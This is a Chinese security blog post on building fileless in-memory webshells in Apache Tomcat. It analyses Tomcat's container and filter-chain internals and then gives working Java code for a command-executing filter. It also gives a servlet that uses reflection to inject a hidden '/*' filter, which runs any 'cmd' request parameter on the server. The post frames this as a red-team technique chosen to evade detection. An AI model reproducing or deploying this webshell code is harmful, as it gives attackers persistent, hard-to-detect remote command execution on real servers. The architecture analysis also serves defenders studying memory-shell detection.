Java安全之基于Tomcat实现内存马

时间:2022-09-01 03:40:50

Java安全之基于Tomcat实现内存马

0x00 前言

在近年来红队行动中,基本上除了非必要情况,一般会选择打入内存马,然后再去连接。而落地Jsp文件也任意被设备给检测到,从而得到攻击路径,删除webshell以及修补漏洞,内存马也很好的解决了反序列化回显的问题。但是随着红蓝攻防持续博弈中,一些内存马的查杀工具也开始逐渐开始出现、成型。所以有必要研究一下内存马的实现。

0x01 Tomcat架构分析

需要了解基于tomcat内存马实现还得去分析tomcat的一些处理机制以及结构。而在Tomcat中的内存马并不能和Weblogic的内存马实现通用,因为结构上就不一样。

下面对tomcat的体系结构与执行流程进行一系列的探究,下面来看张tomcat的架构图

Java安全之基于Tomcat实现内存马

Java安全之基于Tomcat实现内存马

  • Server:

    Server,即指的WEB服务器,一个Server包括多个Service。

  • Service:

    Service的作用是在ConnectorEngine外面包了一层(可看上图),把它们组装在一起,对外提供服务。一个Service可以包含多个Connector,但是只能包含一个Engine,其中Connector的作用是从客户端接收请求,Engine的作用是处理接收进来的请求。后面再来细节分析Service。

  • Connector:

    Tomcat有两个典型的Connector,一个直接侦听来自browser的http请求,一个侦听来自其它WebServer的请求Coyote Http/1.1 Connector 在端口8080处侦听来自客户browser的http请求

    Coyote JK2 Connector 在端口8009处侦听来自其它WebServer(Apache)的servlet/jsp代理请求。

  • Engine:

    Engine下可以配置多个虚拟主机,每个虚拟主机都有一个域名当Engine获得一个请求时,它把该请求匹配到某个Host上,然后把该请求交给该Host来处理Engine有一个默认虚拟主机,当请求无法匹配到任何一个Host上的时候,将交给该默认Host来处理。

  • Host:

    代表一个虚拟主机,每个虚拟主机和某个网络域名Domain Name相匹配

    每个虚拟主机下都可以部署(deploy)一个或者多个Web App,每个Web App对应于一个Context,有一个Context path,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理匹配的方法是“最长匹配”,所以一个path==""的Context将成为该Host的默认Context所有无法和其它Context的路径名匹配的请求都将最终和该默认Context匹配。

  • Context:

    一个Context对应于一个Web Application,一个WebApplication由一个或者多个Servlet组成

    Context在创建的时候将根据配置文件$CATALINA_HOME/conf/web.xml$WEBAPP_HOME/WEB-INF/web.xml载入Servlet类,当Context获得请求时,将在自己的映射表(mapping table)中寻找相匹配的Servlet类。如果找到,则执行该类,获得请求的回应,并返回。

下面来看详细说明:

Connector

Connector也被叫做连接器。Connector将在某个指定的端口上来监听客户的请求,把从socket传递过来的数据,封装成Request,传递给Engine来处理,并从Engine处获得响应并返回给客户端。

Engine:最顶层容器组件,其下可以包含多个 Host。
Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。
Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。
Wrapper:一个 Wrapper 代表一个 Servlet。

对照图:

Java安全之基于Tomcat实现内存马

ProtocolHandler

Connector中,包含了多个组件,Connector使用ProtocolHandler处理器来处理请求。不同的ProtocolHandler代表不同连接类型。ProtocolHandler处理器可以用看作是协议处理统筹者,通过管理其他工作组件实现对请求的处理。ProtocolHandler 包含了三个非常重要的组件,这三个组件分别是:

- Endpoint: 负责接受,处理socket网络连接
- Processor: 负责将从Endpoint接受的socket连接根据协议类型封装成request
- Adapter:负责将封装好的Request交给Container进行处理,解析为可供Container调用的继承了 ServletRequest接口、ServletResponse接口的对象。

请求经Connector处理完毕后,传递给Container进行处理。

Container

Container容器则是负责封装和管理Servlet 处理用户的servlet请求,并返回对象给web用户的模块。

Java安全之基于Tomcat实现内存马

Container 处理请求,内部是使用Pipeline-Value管道来处理的,每个 Pipeline 都有特定的 Value(BaseValue)BaseValue 会在最后执行。上层容器的BaseValue 会调用下层容器的管道,FilterChain 其实就是这种模式,FilterChain 相当于 Pipeline,每个 Filter 相当于一个 Value。4 个容器的BaseValve 分别是StandardEngineValve StandardHostValveStandardContextValve 和StandardWrapperValve。每个Pipeline 都有特定的Value ,而且是在管道的最后一个执行,这个Valve 叫BaseValveBaseValve 是不可删除的。

Java安全之基于Tomcat实现内存马

Java安全之基于Tomcat实现内存马

Java安全之基于Tomcat实现内存马

这三张图其实就很好的解释了他的一个执行流程,看到最后一张图,在wrapper-Pipline执行完成后会去创建一个FilterChain对象也就是我们的过滤链。这里来解释一下过滤链。

过滤链:在一个 Web 应用程序中可以注册多个 Filter 程序,每个 Filter 程序都可以针对某一个 URL 进行拦截。如果多个 Filter 程序都对同一个 URL 进行拦截,那么这些 Filter 就会组成一个Filter 链(也称

过滤器链)。

Java安全之基于Tomcat实现内存马

如果做过Java web开发的话,不难发现在配置Filter 的时候,假设执行完了就会来到下一个Filter 里面,如果都 FilterChain.doFilter进行放行的话,那么这时候才会执行servlet内容。原理如上。

整体的执行流程,如下图:

Java安全之基于Tomcat实现内存马

Server :
- Service
-- Connector: 客户端接收请求
--- ProtocolHandler: 管理其他工作组件实现对请求的处理
---- Endpoint: 负责接受,处理socket网络连接
---- Processor: 负责将从Endpoint接受的socket连接根据协议类型封装成request
---- Adapter: 负责将封装好的Request交给Container进行处理,解析为可供Container调用的继承了 ServletRequest接口、ServletResponse接口的对象。
--- Container: 负责封装和管理Servlet 处理用户的servlet请求,并返回对象给web用户的模块
-- Engine:处理接收进来的请求
--- Host: 虚拟主机
--- Host: 虚拟主机
--- Host: 虚拟主机
--- Context: 相当于一个web应用
--- Context:相当于一个web应用
--- Context:相当于一个web应用

0x02 过滤链分析

在分析过滤链前需要了解的一些基础知识,不然看起来比较费劲。在网上查阅了一些资料。

ServletContext

javax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口,提供了Web应用所有Servlet的视图,通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器在启动时,它会为每个Web应用程序都创建一个对应的ServletContext,它代表当前Web应用。并且它被所有客户端共享。

Java安全之基于Tomcat实现内存马

看到ServletContext的方法中有addFilteraddServletaddListener方法,即添加FilterServletListener

那么如何获取到这个ServletContext呢?

获取ServletContext的方法

this.getServletContext();
this.getServletConfig().getServletContext();

Java安全之基于Tomcat实现内存马

Java安全之基于Tomcat实现内存马

但是这里获取到的实际上是一个ApplicationContextFacade对象,该对象对ApplicationContext的实例进行的一个封装。

Java安全之基于Tomcat实现内存马

ApplicationContext

org.apache.catalina.core.ApplicationContext

对应Tomcat容器,为了满足Servlet规范,必须包含一个ServletContext接口的实现。Tomcat的Context容器中都会包含一个ApplicationContext。

StandardContext

Catalina主要包括Connector和Container,StandardContext就是一个Container,它主要负责对进入的用户请求进行处理。实际来说,不是由它来进行处理,而是交给内部的valve处理。

一个context表示了一个外部应用,它包含多个wrapper,每个wrapper表示一个servlet定义。(Tomcat 默认的 Service 服务是 Catalina)

Filter链分析

过滤链创建细节分析

假设我们基于filter去实现一个内存马,我们需要找到filter是如何被创建的。

下面使用IDEA对其进行调试,这里配置了一个简单的过滤器,然后运行进行调试。

打开IDEA开冲。下个断点逆向进行分析

Java安全之基于Tomcat实现内存马

org.apache.catalina.core.ApplicationFilterChain#internalDoFilter中会去调用filter.doFilter才会来到我们配置的filter.doFilter方法中。其实还是前面讲到的责任链。

这里会从filterConfig中去获取到一个filter对象然后来进行调用doFilter。跟踪到上层。

Java安全之基于Tomcat实现内存马

org.apache.catalina.core.ApplicationFilterChain#doFilter会被org.apache.catalina.core.StandardWrapperValve#invoke方法调用。

invoke方法说明:请求进入后,Connector调用context的invoke方法。invoke将请求交给其pipeline去处理,由pipeline中的所有valve顺序处理请求。

Java安全之基于Tomcat实现内存马

在invoke方法的位置调用filterChain.doFilter,对请求进行过滤操作。那么再来看看filterChain是如何获取到的。

Java安全之基于Tomcat实现内存马

使用ApplicationFilterFactory.createFilterChain创建了一个过滤链,将request, wrapper, servlet进行传递。

Java安全之基于Tomcat实现内存马

跟进ApplicationFilterFactory.createFilterChain方法查看

Java安全之基于Tomcat实现内存马

这里则会调用context.findFilterMaps()StandardContext寻找并且返回一个FilterMap数组。

再来看到后面的代码

Java安全之基于Tomcat实现内存马

遍历StandardContext.filterMaps得到filter与URL的映射关系并通过matchDispatcher()matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,是否存在对应filter的实例,当实例不为空时通过addFilter方法,将管理filter实例的filterConfig添加入filterChain对象中。

再回溯上层

 Wrapper wrapper = request.getWrapper();
...... wrapper.getPipeline().getFirst().invoke(request, response);

Java安全之基于Tomcat实现内存马

而下面的一系列都是调用管道的invoke方法,则对应这张图

Java安全之基于Tomcat实现内存马

Filter实例存储分析

下面再来看看Filter实例存放的位置在哪,在开发中会从web.xml或注解去配置一个Filter,org.apache.catalina.core.StandardContext容器类负责存储整个Web应用程序的数据和对象,并加载了web.xml中配置的多个Servlet、Filter对象以及它们的映射关系。

里面有三个和Filter有关的成员变量:

    filterMaps变量:包含所有过滤器的URL映射关系

    filterDefs变量:包含所有过滤器包括实例内部等变量 

    filterConfigs变量:包含所有与过滤器对应的filterDef信息及过滤器实例,进行过滤器进行管理

filterConfigs 成员变量是一个HashMap对象,里面存储了filter名称与对应的ApplicationFilterConfig对象的键值对,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息。

filterDefs 成员变量成员变量是一个HashMap对象,存储了filter名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据

filterMaps 中的FilterMap则记录了不同filter与UrlPattern的映射关系

private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap();

private HashMap<String, FilterDef> filterDefs = new HashMap();

private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps();

Java安全之基于Tomcat实现内存马

0x03 内存马实现

先来配置一个配置上一个恶意的Filter。

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner; @WebFilter("/*")
public class cmd_Filters implements Filter {
public void destroy() {
} public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
resp.getWriter().flush();
}
chain.doFilter(request, response);
} public void init(FilterConfig config) throws ServletException { } }

Java安全之基于Tomcat实现内存马

本质上其实就是Filter中接受执行参数,但是如果我们在现实情况中需要动态的将该Filter给添加进去。

由前面Filter实例存储分析得知 StandardContext Filter实例存放在filterConfigs、filterDefs、filterConfigs这三个变量里面,将fifter添加到这三个变量中即可将内存马打入。那么如何获取到StandardContext 成为了问题的关键。

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap; import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.util.Map;
import java.util.Scanner; @WebServlet("/demoServlet")
public class demoServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
// org.apache.catalina.webresources.StandardRoot standardroot = (org.apache.catalina.webresources.StandardRoot) webappClassLoaderBase.getResources();
// org.apache.catalina.core.StandardContext standardContext = (StandardContext) standardroot.getContext();
//该获取StandardContext测试报错
Field Configs = null;
Map filterConfigs;
try {
//这里是反射获取ApplicationContext的context,也就是standardContext
ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); String FilterName = "cmd_Filter";
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(FilterName) == null){
Filter filter = new Filter() { @Override
public void init(FilterConfig filterConfig) throws ServletException { } @Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){ InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output); return;
}
filterChain.doFilter(servletRequest,servletResponse);
} @Override
public void destroy() { }
};
//反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance(); o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1); //反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
response.getWriter().write("Success"); }
} catch (Exception e) {
e.printStackTrace();
} } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}

Java安全之基于Tomcat实现内存马

Java安全之基于Tomcat实现内存马

这个StandardContext获取到的方式也有待研究。获取到StandardContext类后,后面的则是使用反射将一些属性或值添加进去的步骤。

0x04 结尾

寥寥草草结尾,其实还有很多值得研究。

Java安全之基于Tomcat实现内存马的更多相关文章

  1. Java安全之基于Tomcat的Filter型内存马

    Java安全之基于Tomcat的Filter型内存马 写在前面 现在来说,内存马已经是一种很常见的攻击手法了,基本红队项目中对于入口点都是选择打入内存马.而对于内存马的支持也是五花八门,甚至各大公司都 ...

  2. Java安全之基于Tomcat的通用回显链

    Java安全之基于Tomcat的通用回显链 写在前面 首先看这篇文还是建议简单了解下Tomcat中的一些概念,不然看起来会比较吃力.其次是回顾下反射中有关Field类的一些操作. * Field[] ...

  3. 6&period; 站在巨人的肩膀学习Java Filter型内存马

    本文站在巨人的肩膀学习Java Filter型内存马,文章里面的链接以及图片引用于下面文章,参考文章: <Tomcat 内存马学习(一):Filter型> <tomcat无文件内存w ...

  4. Java安全之反序列化回显与内存马

    Java安全之反序列化回显与内存马 0x00 前言 按照我个人的理解来说其实只要能拿到Request 和 Response对象即可进行回显的构造,当然这也是众多方式的一种.也是目前用的较多的方式.比如 ...

  5. 简单学习java内存马

    看了雷石的内存马深入浅出,就心血来潮看了看,由于本人java贼菜就不介绍原理了,本文有关知识都贴链接吧 前置知识 本次主要看的是tomcat的内存马,所以前置知识有下列 1.tomcat结构,tomc ...

  6. JavaAgent型内存马基础

    Java Instrumentation ​ java Instrumentation指的是可以用独立于应用程序之外的代理(agent)程序来监测和协助运行在JVM上的应用程序.这种监测和协助包括但不 ...

  7. 利用shiro反序列化注入冰蝎内存马

    利用shiro反序列化注入冰蝎内存马 文章首发先知社区:https://xz.aliyun.com/t/10696 一.shiro反序列化注入内存马 1)tomcat filter内存马 先来看一个普 ...

  8. Java安全之Weblogic内存马

    Java安全之Weblogic内存马 0x00 前言 发现网上大部分大部分weblogic工具都是基于RMI绑定实例回显,但这种方式有个弊端,在Weblogic JNDI树里面能将打入的RMI后门查看 ...

  9. tomcat内存马原理解析及实现

    内存马 简介 ​ Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站.应用.但传统的Webshell都是基于文件类型的,黑客 ...

随机推荐

  1. Improve Your Study Habits

    1.Plan your time carefully. Make a list of your weekly tasks.Then make a schedule or chart of your t ...

  2. Android之sdcard操作

    private static final String FILENAME = "abc.txt"; private static final String DIR = " ...

  3. Android开发之从网络URL上下载JSON数据

    网络下载拉取数据中,json数据是一种格式化的xml数据,非常轻量方便,效率高,体验好等优点,下面就android中如何从给定的url下载json数据给予解析: 主要使用http请求方法,并用到Htt ...

  4. android 中在CMD中查看sqlite

    今天第一次学习Sqlite,在代码中执行了sql,但是不知道在上面地方才能直观的查看sqlite中的数据,下面是查看资料后的找到的查看方法: 通过上述可以从cmd进入数据库查看原文地址:http:// ...

  5. WPF制作的一个小功能&comma;智能提示&lpar;IntelliSense&rpar;

    原文http://www.cnblogs.com/scheshan/archive/2012/06/30/2570867.html 最近WPF项目中遇到一个需求,需要给一个RichTextBox添加智 ...

  6. UVa 10226 - Hardwood Species

    题目大意:给出n棵树(有重复),统计每种树出现的频率.使用STL的map. #include <cstdio> #include <iostream> #include &lt ...

  7. PHP下载微信头像

    public function downloadPic($openid='',$headimgurl='') { $header = array( 'User-Agent: Mozilla/5.0 ( ...

  8. 【转】Linux 虚拟内存和物理内存的理解

    http://www.cnblogs.com/dyllove98/archive/2013/06/12/3132940.html 首先,让我们看下虚拟内存: 第一层理解 1.         每个进程 ...

  9. scala-创建泛型数组(T&colon; Manifest)

    def arrayT[T: Manifest](ary: T*): Array[T] = {//接受多个参数 val arys = new Array[T](ary.length) //初始化一个数组 ...

  10. hadoop2&period;2&period;0 centos 编译安装详解

    http://blog.csdn.net/w13770269691/article/details/16883663 废话不讲,直切正题. 搭建环境:Centos x 6.4 64bit 1.安装JD ...